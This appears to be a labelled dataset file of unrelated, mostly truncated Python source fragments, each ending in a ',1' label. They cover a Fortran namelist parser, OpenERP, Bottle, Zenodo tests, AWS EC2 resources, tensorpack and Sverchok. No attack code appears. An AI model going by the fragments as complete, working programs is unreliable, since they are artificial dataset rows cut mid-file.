FortranNamelistIO(WEFileIO): """""" Fortran Namelist IO class Scan a Fortran Namelist file and put Section/Parameters into a dictionary Write the file back if needed. """""" def _write(self): """""" Write a file (overrided) """""" with open(self.filename, 'w') as f: for nml in self.data : f.write('&'+nml+'\n') # Sorting dictionary data (in the same order as it was created, thanks to id) SortedList = sorted(self.data[nml].items(), key=lambda(k, v): v['id']) # for param in self.data[nml]: for param in map(lambda(k,v):k,SortedList): f.write(param+'='+','.join(self.data[nml][param]['val'])) if len(self.data[nml][param]['com']) >0: f.write(' !'+self.data[nml][param]['com']) f.write('\n') f.write('/\n') def _read(self): """""" Read the file (overrided) """""" with open(self.filename, 'r') as f: data = f.read() varname = r'\b[a-zA-Z][a-zA-Z0-9_]*\b' valueInt = re.compile(r'[+-]?[0-9]+') valueReal = re.compile(r'[+-]?([0-9]+\.[0-9]*|[0-9]*\.[0-9]+)') valueNumber = re.compile(r'\b(([\+\-]?[0-9]+)?\.)?[0-9]*([eE][-+]?[0-9]+)?') valueBool = re.compile(r""(\.(true|false|t|f)\.)"",re.I) valueTrue = re.compile(r""(\.(true|t)\.)"",re.I) spaces = r'[\s\t]*' quote = re.compile(r""[\s\t]*[\'\""]"") namelistname = re.compile(r""^[\s\t]*&("" + varname + r"")[\s\t]*$"") paramname = re.compile(r""[\s\t]*("" + varname+r')[\s\t]*=[\s\t]*') namlistend = re.compile(r""^"" + spaces + r""/"" + spaces + r""$"") #split sections/namelists mynmlfile = {} mynmlfileRaw = {} mynmlname = '' for item in FortranNamelistIO.clean(data.split(""\n""),cleancomma=1): if re.match(namelistname,item): mynmlname = re.sub(namelistname,r""\1"",item) mynmlfile[mynmlname] = {} mynmlfileRaw[mynmlname] = [] elif re.match(namlistend,item): mynmlname = '' else: if mynmlname: mynmlfileRaw[mynmlname].append(item) #parse param in each section/namelist for mynmlname in mynmlfile.keys(): #split strings bb = [] for item in mynmlfileRaw[mynmlname]: if item[0]!='!': # discarding lines that starts with a comment bb.extend(FortranNamelistIO.splitstring(item)) #split comma and = aa = [] for item in bb: if not re.match(quote,item): aa.extend(re.sub(r""[\s\t]*="",r"" =\n"",re.sub(r"",+"",r""\n"",item)).split(""\n"")) # aa.extend(re.sub(r""[\s\t]*="",r"" =\n"",item).split(""\n"")) else: aa.append(item) del(bb) aa = FortranNamelistIO.clean(aa,cleancomma=1) myparname = '' id_cum=0 for item in aa: if re.search(paramname,item): #myparname = re.sub(paramname,r""\1"",item).lower() ! NO MORE LOWER CASE myparname = re.sub(paramname,r""\1"",item) id_cum=id_cum+1 mynmlfile[mynmlname][myparname] = { 'val' : [], 'id' : id_cum, 'com' : '' } elif paramname: # Storing comments item2=item.split('!') item=item2[0] if len(item) > 1 : mynmlfile[mynmlname][myparname]['com']=''.join(item2[1:]) if re.match(valueBool,item): if re.match(valueTrue,item): mynmlfile[mynmlname][myparname]['val'].append('.true.') else: mynmlfile[mynmlname][myparname]['val'].append('.false.') else: # item2=re.sub(r""(^[\'\""]|[\'\""]$)"",r"""",item.strip()) mynmlfile[mynmlname][myparname]['val'].append(item.strip()) self.data=mynmlfile # Accessor and mutator dictionary style def __getitem__(self, key): """""" Transform the class instance into a dictionary."""""" return self.data[key] def __setitem__(self, key, value): """""" Transform the class instance into a dictionary."""""" self.data[key] = value #==== Helper functions for Parsing of files @staticmethod def clean(mystringlist,commentexpr=r""^[\s\t]*\#.*$"",spacemerge=0,cleancomma=0): """""" Remove leading and trailing blanks, comments/empty lines from a list of strings mystringlist = foo.clean(mystringlist,spacemerge=0,commentline=r""^[\s\t]*\#"",cleancharlist="""") commentline: definition of commentline spacemerge: if <>0, merge/collapse multi space cleancomma: Remove leading and trailing commas """""" aa = mystringlist if cleancomma: aa = [re.sub(""(^([\s\t]*\,)+)|((\,[\s\t]*)+$)"","""",item).strip() for item in aa] if commentexpr: aa = [re.sub(commentexpr,"""",item).strip() for item in aa] if spacemerge: aa = [re.sub(""[\s\t]+"","" "",item).strip() for item in aa if len(item.strip()) <> 0] else: aa = [item.strip() for item in aa if len(item.strip()) <> 0] return aa @staticmethod def splitstring(mystr): """""" Split a string in a list of strings at quote boundaries Input: String Output: list of strings """""" dquote=r'(^[^\""\']*)(\""[^""]*\"")(.*)$' squote=r""(^[^\""\']*)(\'[^']*\')(.*$)"" mystrarr = re.sub(dquote,r""\1\n\2\n\3"",re.sub(squote,r""\1\n\2\n\3"",mystr)).split(""\n"") #remove zerolenght items mystrarr = [item for item in mystrarr if len(item) <> 0] if len(mystrarr) > 1: mystrarr2 = [] for item in mystrarr: mystrarr2.extend(FortranNamelistIO.splitstring(item)) mystrarr = mystrarr2 return mystrarr ## Do Some testing ------------------------------------------------------- class TestFortranNamelist(TestWEFileIO): """""" Test class for MyFileType class """""" test_file = './test/fortran/fortran_namelist.nml' def test_output_identical(self): InputFile=FortranNamelistIO(self.test_file) test_fileout=tempfile.mkstemp()[1] InputFile.write(test_fileout) with open(self.test_file, 'r') as f: data_expected = f.read() with open(test_fileout, 'r') as f: data_read = f.read() try: self.assertMultiLineEqual(data_read, data_expected) finally: os.remove(test_fileout) def test_duplication(self): self._test_duplication(FortranNamelistIO, self.test_file) ## Main function --------------------------------------------------------- if __name__ == '__main__': """""" This is the main fuction that will run the tests automatically """""" unittest.main() ",1 " # Copyright (C) 2012-Today OpenERP SA () # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see # ############################################################################## from openerp import tools from openerp.osv import osv from openerp.osv import fields from openerp.tools.translate import _ class invite_wizard(osv.osv_memory): """""" Wizard to invite partners and make them followers. """""" _name = 'mail.wizard.invite' _description = 'Invite wizard' def default_get(self, cr, uid, fields, context=None): result = super(invite_wizard, self).default_get(cr, uid, fields, context=context) if 'message' in fields and result.get('res_model') and result.get('res_id'): document_name = self.pool.get(result.get('res_model')).name_get(cr, uid, [result.get('res_id')], context=context)[0][1] message = _('
You have been invited to follow %s.
') % document_name result['message'] = message elif 'message' in fields: result['message'] = _('
You have been invited to follow a new document.
') return result _columns = { 'res_model': fields.char('Related Document Model', size=128, required=True, select=1, help='Model of the followed resource'), 'res_id': fields.integer('Related Document ID', select=1, help='Id of the followed resource'), 'partner_ids': fields.many2many('res.partner', string='Partners'), 'message': fields.html('Message'), } def add_followers(self, cr, uid, ids, context=None): for wizard in self.browse(cr, uid, ids, context=context): model_obj = self.pool.get(wizard.res_model) document = model_obj.browse(cr, uid, wizard.res_id, context=context) # filter partner_ids to get the new followers, to avoid sending email to already following partners new_follower_ids = [p.id for p in wizard.partner_ids if p.id not in document.message_follower_ids] model_obj.message_subscribe(cr, uid, [wizard.res_id], new_follower_ids, context=context) # send an email only if a personal message exists if wizard.message and not wizard.message == '
': # when deleting the message, cleditor keeps a
# add signature user_id = self.pool.get(""res.users"").read(cr, uid, [uid], fields=[""signature""], context=context)[0] signature = user_id and user_id[""signature""] or '' if signature: wizard.message = tools.append_content_to_html(wizard.message, signature, plaintext=True, container_tag='div') # FIXME 8.0: use notification_email_send, send a wall message and let mail handle email notification + message box for follower_id in new_follower_ids: mail_mail = self.pool.get('mail.mail') # the invite wizard should create a private message not related to any object -> no model, no res_id mail_id = mail_mail.create(cr, uid, { 'model': wizard.res_model, 'res_id': wizard.res_id, 'subject': _('Invitation to follow %s') % document.name_get()[0][1], 'body_html': '%s' % wizard.message, 'auto_delete': True, }, context=context) mail_mail.send(cr, uid, [mail_id], recipient_ids=[follower_id], context=context) return {'type': 'ir.actions.act_window_close'} ",1 "0, 1, 0, -1], [1, 0, -1, 0] x, y, c = 0, -1, 1 l=0 for i in range(13+13-1): if i%2==0: for j in range((25+25-i)//2): x += dx[i % 4] y += dy[i % 4] #print(x,y,l) a[x][y] = s[l] l=l+1 c += 1 else: for j in range((13+13-i)//2): x += dx[i % 4] y += dy[i % 4] #print(x,y,l) a[x][y] = s[l] l=l+1 c += 1 for i in a: for k in i: k=re.sub(r""¦"",""█"",k) k=re.sub(r""¯"",""▀"",k) k=re.sub(r""_"",""▄"",k) print(k,end="""") print() ",1 "get_tags from add import add_tags from bmarklet import get_bmarklet from account import get_account from edit_tags import get_edit_tags from importbm import get_import_bm from edit import do_edit from login import do_login from register import do_register @route('/') def myroot(): return_data = get_index() return return_data @route('/account', method=['GET', 'POST']) def bmarks(): return_data = get_bmarklet() return return_data @route('/add', method=['GET', 'POST']) def bmarks(): return_data = add_tags() return return_data @route('/bmarklet') def bmarks(): return_data = get_bmarklet() return return_data @route('/bmarks') def bmarks(): return_data = get_bmarks() return return_data @route('/edit', method=['GET', 'POST']) def bmarks(): return_data = do_edit() return return_data @route('/edit_tags', method=['GET', 'POST']) def bmarks(): return_data = get_edit_tags() return return_data @route('/import', method=['GET', 'POST']) def bmarks(): return_data = get_import_bm() return return_data @route('/login', method=['GET', 'POST']) def bmarks(): return_data = do_login() return return_data @route('/register', method=['GET', 'POST']) def bmarks(): return_data = do_register() return return_data @route('/tags') def bmarks(): return_data = get_tags() return return_data # serve css @get('/') def send_css(filename): return static_file(filename, root='css') # serve javascript @get('/') def send_js(filename): return static_file(filename, root='js') # serve images @get('') def send_img(filename): return static_file(filename, root='images') # serve fonts @get('') def send_font(filename): return static_file(filename, root='fonts') @error(404) def handle404(error): return '

Ooops, its not here
' @error(500) def handle500(error): return '

Oops, its broken: {}
'.format(error) ",1 "oder from deepy.trainers import SGDTrainer, LearningRateAnnealer from util import get_data, VECTOR_SIZE model_path = os.path.join(os.path.dirname(__file__), ""models"", ""rae1.gz"") if __name__ == '__main__': model = RecursiveAutoEncoder(input_dim=VECTOR_SIZE, rep_dim=10) trainer = SGDTrainer(model) annealer = LearningRateAnnealer() trainer.run(get_data(), epoch_controllers=[annealer]) model.save_params(model_path) ",1 "he prior for U and V we take value 1 for all entries (so exp 1). As a result, each value in R has a value of around 20, and a variance of 100-120. For contrast, the Sanger dataset of 705 by 140 shifted to nonnegative has mean 31.522999753779082 and variance 243.2427345740027. We add Gaussian noise of precision tau = 1 (prior for gamma: alpha=1,beta=1). (Simply using the expectation of our Gamma distribution over tau) """""" import sys, os project_location = os.path.dirname(__file__)+""/../../../"" sys.path.append(project_location) from BNMTF.code.models.distributions.exponential import exponential_draw from BNMTF.code.models.distributions.normal import normal_draw from BNMTF.code.cross_validation.mask import generate_M import numpy, itertools, matplotlib.pyplot as plt def generate_dataset(I,J,K,lambdaU,lambdaV,tau): # Generate U, V U = numpy.zeros((I,K)) for i,k in itertools.product(xrange(0,I),xrange(0,K)): U[i,k] = exponential_draw(lambdaU[i,k]) V = numpy.zeros((J,K)) for j,k in itertools.product(xrange(0,J),xrange(0,K)): V[j,k] = exponential_draw(lambdaV[j,k]) # Generate R true_R = numpy.dot(U,V.T) R = add_noise(true_R,tau) return (U,V,tau,true_R,R) def add_noise(true_R,tau): if numpy.isinf(tau): return numpy.copy(true_R) (I,J) = true_R.shape R = numpy.zeros((I,J)) for i,j in itertools.product(xrange(0,I),xrange(0,J)): R[i,j] = normal_draw(true_R[i,j],tau) return R def try_generate_M(I,J,fraction_unknown,attempts): for attempt in range(1,attempts+1): try: M = generate_M(I,J,fraction_unknown) sums_columns = M.sum(axis=0) sums_rows = M.sum(axis=1) for i,c in enumerate(sums_rows): assert c != 0, ""Fully unobserved row in M, row %s. Fraction %s."" % (i,fraction_unknown) for j,c in enumerate(sums_columns): assert c != 0, ""Fully unobserved column in M, column %s. Fraction %s."" % (j,fraction_unknown) print ""Took %s attempts to generate M."" % attempt return M except AssertionError: pass raise Exception(""Tried to generate M %s times, with I=%s, J=%s, fraction=%s, but failed."" % (attempts,I,J,fraction_unknown)) ########## if __name__ == ""__main__"": output_folder = project_location+""BNMTF/data_toy/bnmf/"" I,J,K = 100, 80, 10 #20, 10, 5 # fraction_unknown = 0.1 alpha, beta = 1., 1. lambdaU = numpy.ones((I,K)) lambdaV = numpy.ones((I,K)) tau = alpha / beta (U,V,tau,true_R,R) = generate_dataset(I,J,K,lambdaU,lambdaV,tau) # Try to generate M M = try_generate_M(I,J,fraction_unknown,attempts=1000) # Store all matrices in text files numpy.savetxt(open(output_folder+""U.txt"",'w'),U) numpy.savetxt(open(output_folder+""V.txt"",'w'),V) numpy.savetxt(open(output_folder+""R_true.txt"",'w'),true_R) numpy.savetxt(open(output_folder+""R.txt"",'w'),R) numpy.savetxt(open(output_folder+""M.txt"",'w'),M) print ""Mean R: %s. Variance R: %s. Min R: %s. Max R: %s."" % (numpy.mean(R),numpy.var(R),R.min(),R.max()) fig = plt.figure() plt.hist(R.flatten(),bins=range(0,int(R.max())+1)) plt.show()",1 "er Research & Fraunhofer SCAI # # This file is part of ESPResSo++. # # ESPResSo++ is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # ESPResSo++ is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . r"""""" ****************************** espressopp.integrator.CapForce ****************************** This class can be used to forcecap all particles or a group of particles. Force capping means that the force vector of a particle is rescaled so that the length of the force vector is <= capforce Example Usage: >>> capforce = espressopp.integrator.CapForce(system, 1000.0) >>> integrator.addExtension(capForce) CapForce can also be used to forcecap only a group of particles: >>> particle_group = [45, 67, 89, 103] >>> capforce = espressopp.integrator.CapForce(system, 1000.0, particle_group) >>> integrator.addExtension(capForce) .. function:: espressopp.integrator.CapForce(system, capForce, particleGroup) :param system: :param capForce: :param particleGroup: (default: None) :type system: :type capForce: :type particleGroup: """""" from espressopp.esutil import cxxinit from espressopp import pmi from espressopp.integrator.Extension import * from _espressopp import integrator_CapForce class CapForceLocal(ExtensionLocal, integrator_CapForce): def __init__(self, system, capForce, particleGroup = None): if not (pmi._PMIComm and pmi._PMIComm.isActive()) or pmi._MPIcomm.rank in pmi._PMIComm.getMPIcpugroup(): if (particleGroup == None) or (particleGroup.size() == 0): cxxinit(self, integrator_CapForce, system, capForce) else: cxxinit(self, integrator_CapForce, system, capForce, particleGroup) if pmi.isController : class CapForce(Extension, metaclass=pmi.Proxy): pmiproxydefs = dict( cls = 'espressopp.integrator.CapForceLocal', pmicall = ['setCapForce', 'setAbsCapForce', 'getCapForce', 'getAbsCapForce'], pmiproperty = [ 'particleGroup', 'adress' ] ) ",1 "ance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from touchdown import ssh from touchdown.aws.ec2.keypair import KeyPair from touchdown.aws.iam import InstanceProfile from touchdown.aws.vpc import SecurityGroup, Subnet from touchdown.core import argument, errors, serializers from touchdown.core.plan import Plan, Present from touchdown.core.resource import Resource from ..account import BaseAccount from ..common import SimpleApply, SimpleDescribe, SimpleDestroy class BlockDevice(Resource): resource_name = ""block_device"" virtual_name = argument.String(field=""VirtualName"") device_name = argument.String(field=""DeviceName"") disabled = argument.Boolean(field=""NoDevice"", serializer=serializers.Const("""")) class NetworkInterface(Resource): resource_name = ""network_interface"" public = argument.Boolean(default=False, field=""AssociatePublicIpAddress"") security_groups = argument.ResourceList(SecurityGroup, field=""Groups"") class Instance(Resource): resource_name = ""ec2_instance"" name = argument.String(min=3, max=128, field=""Name"", group=""tags"") ami = argument.String(field=""ImageId"") instance_type = argument.String(field=""InstanceType"") key_pair = argument.Resource(KeyPair, field=""KeyName"") subnet = argument.Resource(Subnet, field=""SubnetId"") instance_profile = argument.Resource( InstanceProfile, field=""IamInstanceProfile"", serializer=serializers.Dict(Name=serializers.Property(""InstanceProfileName"")), ) user_data = argument.String(field=""UserData"") network_interfaces = argument.ResourceList( NetworkInterface, field=""NetworkInterfaces"" ) block_devices = argument.ResourceList( BlockDevice, field=""BlockDeviceMappings"", serializer=serializers.List(serializers.Resource()), ) security_groups = argument.ResourceList(SecurityGroup, field=""SecurityGroupIds"") tags = argument.Dict() account = argument.Resource(BaseAccount) class Describe(SimpleDescribe, Plan): resource = Instance service_name = ""ec2"" api_version = ""2015-10-01"" describe_action = ""describe_instances"" describe_envelope = ""Reservations[].Instances[]"" key = ""InstanceId"" def get_describe_filters(self): return { ""Filters"": [ {""Name"": ""tag:Name"", ""Values"": [self.resource.name]}, { ""Name"": ""instance-state-name"", ""Values"": [ ""pending"", ""running"", ""shutting-down"", "" stopping"", ""stopped"", ], }, ] } class Apply(SimpleApply, Describe): create_action = ""run_instances"" create_envelope = ""Instances[0]"" # create_response = 'id-only' waiter = ""instance_running"" signature = (Present(""name""),) def get_create_serializer(self): return serializers.Resource(MaxCount=1, MinCount=1) class Destroy(SimpleDestroy, Describe): destroy_action = ""terminate_instances"" waiter = ""instance_terminated"" def get_destroy_serializer(self): return serializers.Dict( InstanceIds=serializers.ListOfOne(serializers.Property(""InstanceId"")) ) class SSHInstance(ssh.Instance): resource_name = ""ec2_instance"" input = Instance def get_network_id(self, runner): # FIXME: We can save on some steps if we only do this once obj = runner.get_plan(self.adapts).describe_object() return obj.get(""VpcId"", None) def get_serializer(self, runner, **kwargs): obj = runner.get_plan(self.adapts).describe_object() if getattr(self.parent, ""proxy"", None) and self.parent.proxy.instance: if hasattr(self.parent.proxy.instance, ""get_network_id""): network = self.parent.proxy.instance.get_network_id(runner) if network == self.get_network_id(runner): return serializers.Const(obj[""PrivateIpAddress""]) if obj.get(""PublicDnsName"", """"): return serializers.Const(obj[""PublicDnsName""]) if obj.get(""PublicIpAddress"", """"): return serializers.Const(obj[""PublicIpAddress""]) raise errors.Error(""Instance {} not available"".format(self.adapts)) ",1 " ('stock', '0062_auto_20210511_2151'), ] operations = [ migrations.RemoveField( model_name='stockitemtracking', name='link', ), migrations.RemoveField( model_name='stockitemtracking', name='quantity', ), migrations.RemoveField( model_name='stockitemtracking', name='system', ), migrations.RemoveField( model_name='stockitemtracking', name='title', ), ] ",1 "fy it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version. # # Zenodo is distributed in the hope that it will be # useful, but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Zenodo; if not, write to the # Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, # MA 02111-1307, USA. # # In applying this license, CERN does not # waive the privileges and immunities granted to it by virtue of its status # as an Intergovernmental Organization or submit itself to any jurisdiction. """"""Test API for Zenodo and GitHub integration."""""" from __future__ import absolute_import, print_function from contextlib import contextmanager from copy import deepcopy import pytest from flask import current_app from invenio_accounts.models import User from invenio_github.models import Release, ReleaseStatus, Repository from invenio_pidrelations.contrib.versioning import PIDVersioning from invenio_pidstore.models import PersistentIdentifier, PIDStatus from invenio_sipstore.models import SIP from mock import MagicMock, Mock, patch from six import BytesIO from zenodo.modules.deposit.tasks import datacite_register from zenodo.modules.github.api import ZenodoGitHubRelease from zenodo.modules.github.utils import is_github_owner, is_github_versioned from zenodo.modules.records.api import ZenodoRecord from zenodo.modules.records.minters import zenodo_record_minter from zenodo.modules.records.permissions import has_newversion_permission, \ has_update_permission creators_params = ( (dict(), [dict(name='Contributor', affiliation='X'), ], [dict(name='Owner', affiliation='Y'), ], [dict(name='Contributor', affiliation='X'), ]), (dict(creators=[]), # List of creators provided as empty [dict(name='Contributor', affiliation='X'), ], [dict(name='Owner', affiliation='Y'), ], [dict(name='Owner', affiliation='Y'), ]), (dict(creators=None), [dict(name='Contributor', affiliation='X'), ], None, # Failed to get GH owner [dict(name='Unknown', affiliation=''), ]), ) @pytest.mark.parametrize('defaults,contribs,owner,output', creators_params) @patch('zenodo.modules.github.api.get_owner') @patch('zenodo.modules.github.api.get_contributors') @patch('zenodo.modules.github.api.legacyjson_v1_translator') def test_github_creators_metadata(m_ljv1t, m_get_contributors, m_get_owner, defaults, contribs, owner, output): """"""Test 'creators' metadata fetching from GitHub."""""" m_get_contributors.return_value = contribs m_get_owner.return_value = owner release = MagicMock() release.event.user_id = 1 release.event.payload['repository']['id'] = 1 zgh = ZenodoGitHubRelease(release) zgh.defaults = defaults zgh.gh.api = None zgh.extra_metadata = {} zgh.metadata m_ljv1t.assert_called_with({'metadata': {'creators': output}}) @patch('zenodo.modules.github.api.ZenodoGitHubRelease.metadata') @patch('invenio_pidstore.providers.datacite.DataCiteMDSClient') def test_github_publish(datacite_mock, zgh_meta, db, users, location, deposit_metadata): """"""Test basic GitHub payload."""""" data = b'foobar' resp = Mock() resp.headers = {'Content-Length': len(data)} resp.raw = BytesIO(b'foobar') resp.status_code = 200 gh3mock = MagicMock() gh3mock.api.session.get = Mock(return_value=resp) gh3mock.account.user.email = 'foo@baz.bar' release = MagicMock() release.event.user_id = 1 release.event.payload['release']['author']['id'] = 1 release.event.payload['foo']['bar']['baz'] = 1 release.event.payload['repository']['id'] = 1 zgh = ZenodoGitHubRelease(release) zgh.gh = gh3mock zgh.release = dict(author=dict(id=1)) zgh.metadata = deposit_metadata zgh.files = (('foobar.txt', None), ) zgh.model.repository.releases.filter_by().count.return_value = 0 datacite_task_mock = MagicMock() # We have to make the call to the task synchronous datacite_task_mock.delay = datacite_register.apply with patch('zenodo.modules.deposit.tasks.datacite_register', new=datacite_task_mock): zgh.publish() # datacite should be called twice - for regular DOI and Concept DOI assert datacite_mock().metadata_post.call_count == 2 datacite_mock().doi_post.assert_any_call( '10.5072/zenodo.1', 'https://zenodo.org/record/1') datacite_mock().doi_post.assert_any_call( '10.5072/zenodo.2', 'https://zenodo.org/record/2') expected_sip_agent = { 'email': 'foo@baz.bar', '$schema': 'http://zenodo.org/schemas/sipstore/' 'agent-githubclient-v1.0.0.json', 'user_id': 1, 'github_id': 1, } gh_sip = SIP.query.one() assert gh_sip.agent == expected_sip_agent @patch('invenio_github.api.GitHubAPI.check_sync', new=lambda *_, **__: False) def test_github_newversion_permissions(app, db, minimal_record, users, g_users, g_remoteaccounts): """"""Test new version creation permissions for GitHub records."""""" old_owner, new_owner = [User.query.get(u['id']) for u in g_users] # Create repository, and set owner to `old_owner` repo = Repository.create( name='foo/bar', github_id=8000, user_id=old_owner.id, hook=1234) # Create concpetrecid for the GitHub records conceptrecid = PersistentIdentifier.create( 'recid', '100', status=PIDStatus.RESERVED) def create_deposit_and_record(pid_value, owner): """"""Utility function for creating records and deposits."""""" recid = PersistentIdentifier.create( 'recid', pid_value, status=PIDStatus.RESERVED) pv = PIDVersioning(parent=conceptrecid) pv.insert_draft_child(recid) depid = PersistentIdentifier.create( 'depid', pid_value, status=PIDStatus.REGISTERED) deposit = ZenodoRecord.create({'_deposit': {'id': depid.pid_value}, 'conceptrecid': conceptrecid.pid_value, 'recid': recid.pid_value}) deposit.commit() depid.assign('rec', deposit.id) record_metadata = deepcopy(minimal_record) record_metadata['_deposit'] = {'id': depid.pid_value} record_metadata['conceptrecid'] = conceptrecid.pid_value record_metadata['recid'] = int(recid.pid_value) record_metadata['owners'] = [owner.id] record = ZenodoRecord.create(record_metadata) zenodo_record_minter(record.id, record) record.commit() return (depid, deposit, recid, record) # Create first GitHub record (by `old_owner`) depid1, d1, recid1, r1 = create_deposit_and_record('101', old_owner) rel1 = Release(release_id=111, repository_id=repo.id, record_id=d1.id, status=ReleaseStatus.PUBLISHED) db.session.add(rel1) db.session.commit() assert is_github_versioned(recid1) @contextmanager def set_identity(user): from flask_principal import AnonymousIdentity, Identity principal = current_app.extensions['security'].principal principal.set_identity(Identity(user)) yield principal.set_identity(AnonymousIdentity()) with app.test_request_context(): with set_identity(old_owner): assert is_github_owner(old_owner, recid1) assert has_update_permission(old_owner, r1) assert has_newversion_permission(old_owner, r1) with set_identity(new_owner): assert not is_github_owner(new_owner, recid1) assert not has_update_permission(new_owner, r1) assert not has_newversion_permission(new_owner, r1) # Change the repository owner repo.user_id = new_owner.id db.session.add(repo) db.session.commit() with app.test_request_context(): with set_identity(old_owner): assert not is_github_owner(old_owner, recid1) # `old_owner` can edit his record of course assert has_update_permission(old_owner, r1) assert has_newversion_permission(old_owner, r1) with set_identity(new_owner): assert is_github_owner(new_owner, recid1) # `new_owner` can't edit the `old_owner`'s record assert not has_update_permission(new_owner, r1) assert not has_newversion_permission(new_owner, r1) # Create second GitHub record (by `new_owner`) depid2, d2, recid2, r2 = create_deposit_and_record('102', new_owner) rel2 = Release(release_id=222, repository_id=repo.id, record_id=d2.id, status=ReleaseStatus.PUBLISHED) db.session.add(rel2) db.session.commit() with app.test_request_context(): with set_identity(old_owner): assert not is_github_owner(old_owner, recid1) assert not is_github_owner(old_owner, recid2) assert has_update_permission(old_owner, r1) # `old_owner` can't edit the `new_owner`'s record assert not has_update_permission(old_owner, r2) assert not has_newversion_permission(old_owner, r1) assert not has_newversion_permission(old_owner, r2) with set_identity(new_owner): assert is_github_owner(new_owner, recid1) assert is_github_owner(new_owner, recid2) assert not has_update_permission(new_owner, r1) # `new_owner` can edit his newly released record assert has_update_permission(new_owner, r2) assert has_newversion_permission(new_owner, r1) assert has_newversion_permission(new_owner, r2) # Create a manual record (by `new_owner`) depid3, d3, recid3, r3 = create_deposit_and_record('103', new_owner) db.session.commit() with app.test_request_context(): with set_identity(old_owner): assert not is_github_owner(old_owner, recid3) assert not has_update_permission(old_owner, r3) assert not has_newversion_permission(old_owner, r3) with set_identity(new_owner): assert is_github_owner(new_owner, recid3) assert has_update_permission(new_owner, r3) assert has_newversion_permission(new_owner, r3) ",1 "port multiprocessing import numpy as np from tqdm import tqdm from six.moves import queue from tensorpack import * from tensorpack.utils.concurrency import * from tensorpack.utils.stats import * def play_one_episode(player, func, verbose=False): def f(s): spc = player.get_action_space() act = func([[s]])[0][0].argmax() if random.random() < 0.001: act = spc.sample() if verbose: print(act) return act return np.mean(player.play_one_episode(f)) def play_model(cfg, player): predfunc = OfflinePredictor(cfg) while True: score = play_one_episode(player, predfunc) print(""Total:"", score) def eval_with_funcs(predictors, nr_eval, get_player_fn): class Worker(StoppableThread, ShareSessionThread): def __init__(self, func, queue): super(Worker, self).__init__() self._func = func self.q = queue def func(self, *args, **kwargs): if self.stopped(): raise RuntimeError(""stopped!"") return self._func(*args, **kwargs) def run(self): with self.default_sess(): player = get_player_fn(train=False) while not self.stopped(): try: score = play_one_episode(player, self.func) # print(""Score, "", score) except RuntimeError: return self.queue_put_stoppable(self.q, score) q = queue.Queue() threads = [Worker(f, q) for f in predictors] for k in threads: k.start() time.sleep(0.1) # avoid simulator bugs stat = StatCounter() try: for _ in tqdm(range(nr_eval), **get_tqdm_kwargs()): r = q.get() stat.feed(r) logger.info(""Waiting for all the workers to finish the last run..."") for k in threads: k.stop() for k in threads: k.join() while q.qsize(): r = q.get() stat.feed(r) except: logger.exception(""Eval"") finally: if stat.count > 0: return (stat.average, stat.max) return (0, 0) def eval_model_multithread(cfg, nr_eval, get_player_fn): func = OfflinePredictor(cfg) NR_PROC = min(multiprocessing.cpu_count() // 2, 8) mean, max = eval_with_funcs([func] * NR_PROC, nr_eval, get_player_fn) logger.info(""Average Score: {}; Max Score: {}"".format(mean, max)) class Evaluator(Triggerable): def __init__(self, nr_eval, input_names, output_names, get_player_fn): self.eval_episode = nr_eval self.input_names = input_names self.output_names = output_names self.get_player_fn = get_player_fn def _setup_graph(self): NR_PROC = min(multiprocessing.cpu_count() // 2, 20) self.pred_funcs = [self.trainer.get_predictor( self.input_names, self.output_names)] * NR_PROC def _trigger(self): t = time.time() mean, max = eval_with_funcs( self.pred_funcs, self.eval_episode, self.get_player_fn) t = time.time() - t if t > 10 * 60: # eval takes too long self.eval_episode = int(self.eval_episode * 0.94) self.trainer.monitors.put_scalar('mean_score', mean) self.trainer.monitors.put_scalar('max_score', max) def play_n_episodes(player, predfunc, nr): logger.info(""Start evaluation: "") for k in range(nr): if k != 0: player.restart_episode() score = play_one_episode(player, predfunc) print(""{}/{}, score={}"".format(k, nr, score)) ",1 "al Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software Foundation, # Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # ##### END GPL LICENSE BLOCK ##### old_bl_idnames = { 'CentersPolsNode' : ""centers"", # 'BakeryNode' : ""bakery"", 'CircleNode' : ""circle"", 'ListItemNode' : ""list_item"", 'GenRangeNode' : ""range"", 'GenSeriesNode' : ""series"", # 'Test1Node' : ""test"", # 'Test2Node' : ""test"", # 'ToolsNode' : ""tools"", 'SvReRouteNode': ""reroute"", 'VoronoiNode': ""voronoi"", 'ViewerNode': ""viewer"", 'EvalKnievalNode': ""eval_knieval"", 'FormulaNode': 'formula', } # we should add some functions to load things there import importlib import inspect import traceback import bpy from sverchok.node_tree import SverchCustomTreeNode imported_mods = {} def is_old(node_info): ''' Check if node or node.bl_idname is among the old nodes ''' if isinstance(node_info, str): # assumes bl_idname return node_info in old_bl_idnames elif isinstance(node_info, bpy.types.Node): return node_info.bl_idname in old_bl_idnames else: return False def scan_for_old(ng): nodes = [n for n in ng.nodes if n.bl_idname in old_bl_idnames] for node in 